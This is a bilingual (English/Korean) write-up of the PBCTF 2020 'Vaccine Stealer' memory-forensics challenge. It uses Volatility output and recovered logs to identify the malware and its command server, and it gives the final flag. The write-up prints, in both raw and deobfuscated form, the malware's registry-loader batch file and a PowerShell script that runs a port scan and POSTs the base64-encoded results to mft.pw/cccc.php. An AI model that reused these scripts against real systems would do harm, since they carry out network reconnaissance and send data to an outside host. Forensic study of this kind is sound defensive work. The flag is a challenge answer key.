Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
[PBCTF 2020] Vaccine Stealer Write-up

Vaccine Stealer

Information

Description

An employee's PC at a COVID-19 vaccine manufacturer was infected with a malware.

According to this employee, a strange window popped up while he was formatting his PC and installing some files.

Analyze memory dumps and find traces of the malware.

  • (1): Filename of the malicious executable whose execution finished at last
  • (2): Filename of the executable that ran (1)
  • (3): URL of C2 server that received victim's data (except http(s)://)
  • Obtain all flag information and enter it in the form of pbctf{(1)(2)(3)}

Solution (EN)

(1): Filename of the malicious executable whose execution finished at last

You can analyze the memory using the Volatility, and you can check that the Victim's PC is a Windows 7 SP1 x64 environment through the kdbgscan plugin provided by this tool.

And you need to the process list to check the last executed malicious file. so, use the pslist plugin.

  • volatility -f memory.dmp --profile=Win7SP1x64 pslist
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8030eb9710 System                    4      0    110      583 ------      0 2020-11-24 17:11:14 UTC+0000
0xfffffa8032996860 smss.exe                296      4      2       32 ------      0 2020-11-24 17:11:14 UTC+0000
...
0xfffffa8031795060 cmd.exe                7092   2628      1       23      1      0 2020-11-26 12:59:52 UTC+0000
0xfffffa8031681640 conhost.exe            6888    436      2       56      1      0 2020-11-26 12:59:52 UTC+0000
0xfffffa803177c060 ntuser.pol             5376   1852      0 --------      1      0 2020-11-26 13:00:01 UTC+0000   2020-11-26 13:00:05 UTC+0000
0xfffffa80327ce520 winpmem_v3.3.r         3268   7092      4       68      1      1 2020-11-26 13:00:41 UTC+0000

You can check in the process list that the ntuser.pol file was last recently terminated. Also, the ntuser.pol file is not a common executable file extension.

Of course, this fact alone makes it difficult to conclude that ntuser.pol is a malicious file. However, in the solution of (2), you can obtain essential circumstantial evidence that this file is a malicious file.

Additionally, you can check when the Requirements.exe (the first malicious file) was downloaded through the chromehistory plugin. and you can check the correlation by comparing the executed time when ntuser.pol and Requirements.exe.

(2): Filename of the executable that ran (1),

(3): URL of C2 server that received victim's data (except http(s)://)

Timeline analysis is essential to get flag. First, you use the mftparser plugin to get the File Entry included in the memory dump.

  • volatility -f memory.dmp --profile=Win7SP1x64 mftparser
...
$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:30 UTC+0000 2020-11-26 12:55:30 UTC+0000   2020-11-26 12:55:30 UTC+0000   2020-11-26 12:55:30 UTC+0000   Users\nyong\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\G56GFDYK\Requirements.exe

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\ntuser.pol

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\WindowsPolicyUpdate.cmd
...

After downloaded Requirements.exe, you can see that a number of files have been created in the %PROGRAMDATA% folder. this folder allows to write files without privilege, and is a point that is often exploited by attackers.

...so you can check that the WindowsPolicyUpdate.cmd file. In general, it is not possible to acquire files(exited process's binary) intact from memory. but in the case of WindowsPolicyUpdate.cmd, the size of the data is small, so the Resident property of $MFT is activate, and the original binary is included in the $Data area.

Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  Data
----------------------------------------------------------------------------
127161000  46 49 4C 45 30 00 03 00 48 A2 08 14 00 00 00 00  FILE0...H¢......
127161010  04 00 02 00 38 00 01 00 58 03 00 00 00 04 00 00  ....8...X.......
127161020  00 00 00 00 00 00 00 00 04 00 00 00 B0 71 01 00  ............°q..
127161030  02 00 00 00 00 00 00 00 10 00 00 00 60 00 00 00  ............`...
127161040  00 00 00 00 00 00 00 00 48 00 00 00 18 00 00 00  ........H.......
127161050  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161060  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161070  20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ..............
127161080  00 00 00 00 1C 02 00 00 00 00 00 00 00 00 00 00  ................
127161090  E8 EE 90 02 00 00 00 00 30 00 00 00 78 00 00 00  èî......0...x...
1271610A0  00 00 00 00 00 00 03 00 5A 00 00 00 18 00 01 00  ........Z.......
1271610B0  A0 01 00 00 00 00 01 00 21 AB E1 6F F3 C3 D6 01   .......!«áoóÃÖ.
1271610C0  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
1271610D0  21 AB E1 6F F3 C3 D6 01 00 00 00 00 00 00 00 00  !«áoóÃÖ.........
1271610E0  00 00 00 00 00 00 00 00 20 20 00 00 00 00 00 00  ........  ......
1271610F0  0C 02 57 00 49 00 4E 00 44 00 4F 00 57 00 7E 00  ..W.I.N.D.O.W.~.
127161100  31 00 2E 00 43 00 4D 00 44 00 79 00 55 00 70 00  1...C.M.D.y.U.p.
127161110  30 00 00 00 88 00 00 00 00 00 00 00 00 00 02 00  0...ˆ...........
127161120  70 00 00 00 18 00 01 00 A0 01 00 00 00 00 01 00  p....... .......
127161130  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161140  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
127161160  20 20 00 00 00 00 00 00 17 01 57 00 69 00 6E 00    ........W.i.n.
127161170  64 00 6F 00 77 00 73 00 50 00 6F 00 6C 00 69 00  d.o.w.s.P.o.l.i.
127161180  63 00 79 00 55 00 70 00 64 00 61 00 74 00 65 00  c.y.U.p.d.a.t.e.
127161190  2E 00 63 00 6D 00 64 00 80 00 00 00 B8 01 00 00  ..c.m.d.€...¸...
1271611A0  00 00 18 00 00 00 01 00 A0 01 00 00 18 00 00 00  ........ .......
1271611B0  40 65 63 68 6F 20 6F 66 66 3B 0D 0A 66 6F 72 20  @echo off;..for 
1271611C0  2F 66 20 22 74 6F 6B 65 6E 73 3D 2A 22 20 25 25  /f "tokens=*" %%
1271611D0  61 20 69 6E 20 28 27 72 65 67 20 71 75 65 72 79  a in ('reg query
1271611E0  20 22 48 4B 45 59 5F 4C 4F 43 41 4C 5F 4D 41 43   "HKEY_LOCAL_MAC
1271611F0  48 49 4E 45 5C 53 4F 46 54 57 41 52 45 5C 4D 69  HINE\SOFTWARE\Mi
127161200  63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C  crosoft\Windows\
127161210  43 6F 6D 6D 75 6E 69 63 61 74 69 6F 6E 22 20 2F  Communication" /
127161220  76 20 63 6F 64 65 20 5E 7C 20 66 69 6E 64 20 2F  v code ^| find /
127161230  69 20 22 52 45 47 5F 53 5A 22 27 29 20 64 6F 20  i "REG_SZ"') do 
127161240  28 0D 0A 20 20 20 20 73 65 74 20 76 61 72 3D 22  (..    set var="
127161250  25 25 7E 61 22 3B 0D 0A 20 20 20 20 70 6F 77 65  %%~a";..    powe
127161260  72 73 68 65 6C 6C 20 2D 6E 6F 70 72 6F 66 69 6C  rshell -noprofil
127161270  65 20 22 25 76 61 72 3A 7E 31 39 2C 31 35 30 30  e "%var:~19,1500
127161280  25 3B 0D 0A 29 0D 0A 66 6F 72 20 2F 66 20 22 74  %;..)..for /f "t
127161290  6F 6B 65 6E 73 3D 2A 22 20 25 25 61 20 69 6E 20  okens=*" %%a in 
1271612A0  28 27 72 65 67 20 71 75 65 72 79 20 22 48 4B 45  ('reg query "HKE
1271612B0  59 5F 4C 4F 43 41 4C 5F 4D 41 43 48 49 4E 45 5C  Y_LOCAL_MACHINE\
1271612C0  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\Microso
1271612D0  66 74 5C 57 69 6E 64 6F 77 73 5C 43 6F 6D 6D 75  ft\Windows\Commu
1271612E0  6E 69 63 61 74 69 6F 6E 22 20 2F 76 20 63 6F 64  nication" /v cod
1271612F0  65 20 5E 7C 20 66 69 6E 64 20 2F 69 20 22 52 45  e ^| find /i "RE
127161300  47 5F 53 5A 22 27 29 20 64 6F 20 28 0D 0A 20 20  G_SZ"') do (..  
127161310  20 20 73 65 74 20 76 61 72 3D 22 25 25 7E 61 22    set var="%%~a"
127161320  3B 0D 0A 20 20 20 20 70 6F 77 65 72 73 68 65 6C  ;..    powershel
127161330  6C 20 2D 6E 6F 70 72 6F 66 69 6C 65 20 22 25 76  l -noprofile "%v
127161340  61 72 3A 7E 31 39 2C 31 35 30 30 25 3B 0D 0A 29  ar:~19,1500%;..)
127161350  FF FF FF FF 82 79 47 11 00 00 00 00 00 00 00 00  ÿÿÿÿ‚yG.........

...

@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)

You can see the role of the file through the contents of WindowsPolicyUpdate.cmd.

  1. Read the value of the code key in the HKML\SOFTWARE\Microsoft\Windows\Communication subkey.
  2. Execute the value to Powershell.
  3. (2 times repeat 1~2 process)

so, what command did run with Powershell?

you can figure this out by recovering Powershell's event log. The original way was to write code to parse ElfChunk from a memory dump, but good tool already existed.

If you use the tool to parse the Microsoft-Windows-PowerShell/Operational event log, you can see the following suspicious script block.

...
<Substitution index="19">
    <Type>1</Type>
    <Value>s`eT-V`A`Riab`lE Diq  (  [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg')  );  Set-`VARI`A`B`le  ('Car'+'u1')  (  [TyPe]('ConveR'+'t') )  ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));
${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});
${B`yT`es} =   ( v`ARiA`BLE  dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});
${eN`Co`dEd} =   (  I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1')  ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});
${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};
i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};</Value>
  </Substitution>
  <Substitution index="20">
    <Type>1</Type>
    <Value>e43fbca1-00fd-4a63-b84b-5322a7cd1564</Value>
  </Substitution>
  <Substitution index="21">
 ...

This is an obfuscated Powershell Script, and you can Deobfuscate it as follows.

$invokeCommand = "cmd.exe /c C:\ProgramData\ntuser.pol TCP 172.30.1.0/24 3389 512 /Banner";
$cmdOutput = $(Invoke-Expression $invokeCommand);
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($cmdOutput);
$Encoded = [Convert]::ToBase64String($Bytes);
$postParams = @{data=$Encoded};
Invoke-WebRequest -Uri mft.pw/cccc.php -Method POST -Body $postParams;

As a result, you can see that ntuser.pol is executed in WindowsPolicyUpdate.cmd and the execution result is sent to mft.pw/cccc.php.

and it can be used as the flag of (2) and (3) respectively.

Solution (KO)

(1): Filename of the malicious executable whose execution finished at last

Volatility 도구를 이용하여 메모리를 분석할 수 있으며, 이 도구에서 제공되는 kdbgscan 플러그인을 통해 분석 대상 PC가 Windows 7 SP1 x64 환경이라는 사실을 확인할 수 있습니다.

또한, 가장 마지막에 실행된 악성 파일 정보를 확인하기 위해 메모리 수집 당시의 프로세스 목록을 확인할 필요가 있습니다.

프로세스 목록은 pslist 플러그인을 통해 확인할 수 있으며, 이 내용을 종합하여 다음과 같은 명령어를 사용할 수 있습니다.

  • volatility -f memory.dmp --profile=Win7SP1x64 pslist
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8030eb9710 System                    4      0    110      583 ------      0 2020-11-24 17:11:14 UTC+0000
0xfffffa8032996860 smss.exe                296      4      2       32 ------      0 2020-11-24 17:11:14 UTC+0000
...
0xfffffa8031795060 cmd.exe                7092   2628      1       23      1      0 2020-11-26 12:59:52 UTC+0000
0xfffffa8031681640 conhost.exe            6888    436      2       56      1      0 2020-11-26 12:59:52 UTC+0000
0xfffffa803177c060 ntuser.pol             5376   1852      0 --------      1      0 2020-11-26 13:00:01 UTC+0000   2020-11-26 13:00:05 UTC+0000
0xfffffa80327ce520 winpmem_v3.3.r         3268   7092      4       68      1      1 2020-11-26 13:00:41 UTC+0000

프로세스 목록을 통해 ntuser.pol 파일이 유일하게 최근 종료되었다는 사실을 확인할 수 있습니다. 또한, 해당 파일은 일반적인 실행 파일의 확장자를 가지고 있지 않습니다.

물론, 이 사실만으로는 ntuser.pol이 악성 파일이라고 단정짓기 어렵습니다. 하지만 (2)의 풀이에서 이 파일이 악성 파일이라는 필수적인 정황 증거를 확보할 수 있습니다.

추가적으로, chromehistory 등과 같은 플러그인을 통해 employee가 최초 악성 파일인 Requirements.exe를 언제 다운로드받아 실행했는지 확인할 수 있으며, ntuser.pol이 실행된 시각과 Requirements.exe이 실행된 시간을 대조하여 상호 연관성을 확인할 수 있습니다.

(2): Filename of the executable that ran (1),

(3): URL of C2 server that received victim's data (except http(s)://)

플래그를 획득하기 위해선 타임라인 분석이 필수적으로 요구됩니다. 우선, mftparser 플러그인을 사용하여 메모리 덤프에 포함된 File Entry를 확보합니다.

  • volatility -f memory.dmp --profile=Win7SP1x64 mftparser
...
$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:30 UTC+0000 2020-11-26 12:55:30 UTC+0000   2020-11-26 12:55:30 UTC+0000   2020-11-26 12:55:30 UTC+0000   Users\nyong\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\G56GFDYK\Requirements.exe

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\ntuser.pol

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\WindowsPolicyUpdate.cmd
...

Requirements.exe를 다운로드 받은 이후, %PROGRAMDATA% 폴더에 다수의 파일이 생성되었다는 사실을 확인할 수 있습니다. 일반적으로 이 폴더는 권한 없이 파일을 쓸 수 있으며, 공격자에 의해 자주 악용되는 포인트이기도 합니다.

이 정보를 통해, ntuser.pol을 제외하고 WindowsPolicyUpdate.cmd라는 파일이 추가적으로 존재한다는 사실을 확인할 수 있습니다.

일반적으로 메모리에서는 파일을 온전하게 확보할 수 없으나, WindowsPolicyUpdate.cmd의 경우 데이터의 크기가 작아 $MFT의 Resident 속성이 부여되며, $Data 영역 내에 실제 데이터가 포함됩니다.

Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  Data
----------------------------------------------------------------------------
127161000  46 49 4C 45 30 00 03 00 48 A2 08 14 00 00 00 00  FILE0...H¢......
127161010  04 00 02 00 38 00 01 00 58 03 00 00 00 04 00 00  ....8...X.......
127161020  00 00 00 00 00 00 00 00 04 00 00 00 B0 71 01 00  ............°q..
127161030  02 00 00 00 00 00 00 00 10 00 00 00 60 00 00 00  ............`...
127161040  00 00 00 00 00 00 00 00 48 00 00 00 18 00 00 00  ........H.......
127161050  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161060  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161070  20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ..............
127161080  00 00 00 00 1C 02 00 00 00 00 00 00 00 00 00 00  ................
127161090  E8 EE 90 02 00 00 00 00 30 00 00 00 78 00 00 00  èî......0...x...
1271610A0  00 00 00 00 00 00 03 00 5A 00 00 00 18 00 01 00  ........Z.......
1271610B0  A0 01 00 00 00 00 01 00 21 AB E1 6F F3 C3 D6 01   .......!«áoóÃÖ.
1271610C0  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
1271610D0  21 AB E1 6F F3 C3 D6 01 00 00 00 00 00 00 00 00  !«áoóÃÖ.........
1271610E0  00 00 00 00 00 00 00 00 20 20 00 00 00 00 00 00  ........  ......
1271610F0  0C 02 57 00 49 00 4E 00 44 00 4F 00 57 00 7E 00  ..W.I.N.D.O.W.~.
127161100  31 00 2E 00 43 00 4D 00 44 00 79 00 55 00 70 00  1...C.M.D.y.U.p.
127161110  30 00 00 00 88 00 00 00 00 00 00 00 00 00 02 00  0...ˆ...........
127161120  70 00 00 00 18 00 01 00 A0 01 00 00 00 00 01 00  p....... .......
127161130  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161140  21 AB E1 6F F3 C3 D6 01 21 AB E1 6F F3 C3 D6 01  !«áoóÃÖ.!«áoóÃÖ.
127161150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
127161160  20 20 00 00 00 00 00 00 17 01 57 00 69 00 6E 00    ........W.i.n.
127161170  64 00 6F 00 77 00 73 00 50 00 6F 00 6C 00 69 00  d.o.w.s.P.o.l.i.
127161180  63 00 79 00 55 00 70 00 64 00 61 00 74 00 65 00  c.y.U.p.d.a.t.e.
127161190  2E 00 63 00 6D 00 64 00 80 00 00 00 B8 01 00 00  ..c.m.d.€...¸...
1271611A0  00 00 18 00 00 00 01 00 A0 01 00 00 18 00 00 00  ........ .......
1271611B0  40 65 63 68 6F 20 6F 66 66 3B 0D 0A 66 6F 72 20  @echo off;..for 
1271611C0  2F 66 20 22 74 6F 6B 65 6E 73 3D 2A 22 20 25 25  /f "tokens=*" %%
1271611D0  61 20 69 6E 20 28 27 72 65 67 20 71 75 65 72 79  a in ('reg query
1271611E0  20 22 48 4B 45 59 5F 4C 4F 43 41 4C 5F 4D 41 43   "HKEY_LOCAL_MAC
1271611F0  48 49 4E 45 5C 53 4F 46 54 57 41 52 45 5C 4D 69  HINE\SOFTWARE\Mi
127161200  63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C  crosoft\Windows\
127161210  43 6F 6D 6D 75 6E 69 63 61 74 69 6F 6E 22 20 2F  Communication" /
127161220  76 20 63 6F 64 65 20 5E 7C 20 66 69 6E 64 20 2F  v code ^| find /
127161230  69 20 22 52 45 47 5F 53 5A 22 27 29 20 64 6F 20  i "REG_SZ"') do 
127161240  28 0D 0A 20 20 20 20 73 65 74 20 76 61 72 3D 22  (..    set var="
127161250  25 25 7E 61 22 3B 0D 0A 20 20 20 20 70 6F 77 65  %%~a";..    powe
127161260  72 73 68 65 6C 6C 20 2D 6E 6F 70 72 6F 66 69 6C  rshell -noprofil
127161270  65 20 22 25 76 61 72 3A 7E 31 39 2C 31 35 30 30  e "%var:~19,1500
127161280  25 3B 0D 0A 29 0D 0A 66 6F 72 20 2F 66 20 22 74  %;..)..for /f "t
127161290  6F 6B 65 6E 73 3D 2A 22 20 25 25 61 20 69 6E 20  okens=*" %%a in 
1271612A0  28 27 72 65 67 20 71 75 65 72 79 20 22 48 4B 45  ('reg query "HKE
1271612B0  59 5F 4C 4F 43 41 4C 5F 4D 41 43 48 49 4E 45 5C  Y_LOCAL_MACHINE\
1271612C0  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\Microso
1271612D0  66 74 5C 57 69 6E 64 6F 77 73 5C 43 6F 6D 6D 75  ft\Windows\Commu
1271612E0  6E 69 63 61 74 69 6F 6E 22 20 2F 76 20 63 6F 64  nication" /v cod
1271612F0  65 20 5E 7C 20 66 69 6E 64 20 2F 69 20 22 52 45  e ^| find /i "RE
127161300  47 5F 53 5A 22 27 29 20 64 6F 20 28 0D 0A 20 20  G_SZ"') do (..  
127161310  20 20 73 65 74 20 76 61 72 3D 22 25 25 7E 61 22    set var="%%~a"
127161320  3B 0D 0A 20 20 20 20 70 6F 77 65 72 73 68 65 6C  ;..    powershel
127161330  6C 20 2D 6E 6F 70 72 6F 66 69 6C 65 20 22 25 76  l -noprofile "%v
127161340  61 72 3A 7E 31 39 2C 31 35 30 30 25 3B 0D 0A 29  ar:~19,1500%;..)
127161350  FF FF FF FF 82 79 47 11 00 00 00 00 00 00 00 00  ÿÿÿÿ‚yG.........

...

@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)

WindowsPolicyUpdate.cmd의 내용을 통해 파일의 역할을 알 수 있습니다.

  1. HKML\SOFTWARE\Microsoft\Windows\Communication 레지스트리의 code 키 값을 읽어온다.
  2. Powershell로 읽어온 값을 실행한다.
  3. (1~2과정을 2번 수행)

그렇다면, Powershell로 어떤 명령을 수행했을까요?

우리는 이 사실을 Powershell의 이벤트 로그를 복구하여 파악할 수 있습니다. 원래 메모리 덤프에서 ElfChunk를 일일이 파싱하여 분석하는게 목적이였으나, 이미 좋은 도구가 존재하였습니다.

해당 도구를 사용하여 Microsoft-Windows-PowerShell/Operational 이벤트 로그를 파싱하게되면 다음과 같은 수상한 Script Block을 확인할 수 있습니다.

...
<Substitution index="19">
    <Type>1</Type>
    <Value>s`eT-V`A`Riab`lE Diq  (  [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg')  );  Set-`VARI`A`B`le  ('Car'+'u1')  (  [TyPe]('ConveR'+'t') )  ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));
${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});
${B`yT`es} =   ( v`ARiA`BLE  dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});
${eN`Co`dEd} =   (  I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1')  ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});
${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};
i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};</Value>
  </Substitution>
  <Substitution index="20">
    <Type>1</Type>
    <Value>e43fbca1-00fd-4a63-b84b-5322a7cd1564</Value>
  </Substitution>
  <Substitution index="21">
 ...

이는 난독화된 Powershell Script로, 다음과 같이 Deobfuscate가 가능합니다.

$invokeCommand = "cmd.exe /c C:\ProgramData\ntuser.pol TCP 172.30.1.0/24 3389 512 /Banner";
$cmdOutput = $(Invoke-Expression $invokeCommand);
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($cmdOutput);
$Encoded = [Convert]::ToBase64String($Bytes);
$postParams = @{data=$Encoded};
Invoke-WebRequest -Uri mft.pw/cccc.php -Method POST -Body $postParams;

결과적으로, ntuser.polWindowsPolicyUpdate.cmd에서 실행된다는 것과, 실행 결과를 mft.pw/cccc.php로 전송한다는 사실을 확인할 수 있습니다.

따라서, 각각 (2)와 (3)의 결과로 사용할 수 있습니다.

Flag

pbctf{ntuser.pol_WindowsPolicyUpdate.cmd_mft.pw/cccc.php}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment